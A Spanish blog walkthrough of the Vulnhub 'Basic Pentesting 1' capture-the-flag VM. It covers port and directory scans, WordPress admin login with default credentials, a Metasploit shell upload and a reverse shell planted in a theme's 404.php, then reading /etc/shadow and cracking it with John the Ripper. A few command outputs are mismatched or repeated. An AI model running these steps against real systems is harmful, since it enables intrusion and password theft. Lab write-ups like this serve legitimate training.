martes, 9 de noviembre de 2021

CTF Basic Pentesting 1 VM


 


Primero se hace un escaneo de puertos con nmap

$ sudo nmap -sV -Pn -A -O -oN basic1 192.168.2.4
Nmap scan report for 192.168.2.4
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d60190392d8f46fb038673b33c547e54 (RSA)
|   256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_  256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Luego se modifica el archivo host para que resuelva la IP con un dominio de forma local.

$ vi /etc/hosts


Ahora se verifica el servicio web disponible en el puerto 80.


En este lugar no hay mucha información reveladora, así que se procede con escaneo de rutas con gobuster.
 

 $ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=========================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================

 Yendo a la ruta http://vtcsec/secret/ se encontró una web oculta hecha con WordPress.


 

Así que se escanea de nuevo para encontrar nuevas rutas a partir de esta web.

$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.4
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
===============================================================

Por el momento lo más llamativo es la ruta de /wp_admin donde está el panel de administración de WordPress, y usando con un usuario y contraseña por defecto, en este caso "admin:admin" se logró ingresar.

Con el panel administración a disposición doy 2 métodos para obtener una Shell.


Método 1: Usando metasploit.

Dentro de la consola de msf buscamos un módulo que pueda servir en este caso wp-admin

msf > search wp_admin

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

 Ahora solo es setear los datos importantes como la contraseña,el rhost(remote), rport,targeturi,username, lhost (local) y opcionalmente el lport quedando algo asi.

msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.2.4      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /secret/         yes       The base path to the wordpress application
   USERNAME   admin            yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

Es hora de ejecutar este módulo con el comando run.

msf exploit(unix/webapp/wp_admin_shell_upload) > run

Si todo está bien se ejecutará y dará un meterpreter y pedir una Shell.

meterpreter > shell
Process 2268 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Método 2: Usar una utilidad de WordPress

Teniendo control de la página de WordPress, al dirigirse hacia apariencia > editor y escoger un, témplate, en mi caso, el 404.php y cargar un reverse Shell con la IP local y un puerto al cual va a apuntar.


Ahora se coloca nc a escuchar por el puerto definido en la reverse Shell.

$ nc -lvnp 4567


Ahora navegando en las rutas, la Shell quedo guardada en el archivo 404 del tema seleccionado en mi caso es este.

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

Revisando nc, la Shell ya se tiene acceso.


Ahora a buscar si hay algún archivo con escritura en root se encontró este.

$  find / type f -perm -04000 -ls 2>/dev/null

1028     56 -rwsr-xr-x   1 root     root          54256 May 16  2017 /usr/bin/passwd

Comprobando los permisos de /etc/shadow

ls-l /etc/shadow
4 -rw-r--r-- 1 root shadow 1305 Nov 16 2017 /usr/bin/passwd

Se puede utilizar la herramienta unshadow para extraer las contraseñas de los usuarios. 

$ unshadow passwd shadow > pass

Usando John the ripper, se obtiene el usuario y la contraseña

$ john pass                                                                                                
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
marlinspike      (***********)   

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting 1

"Soy escritor de libros en retrospectiva. Yo hablo para entender; enseño para aprender." R.F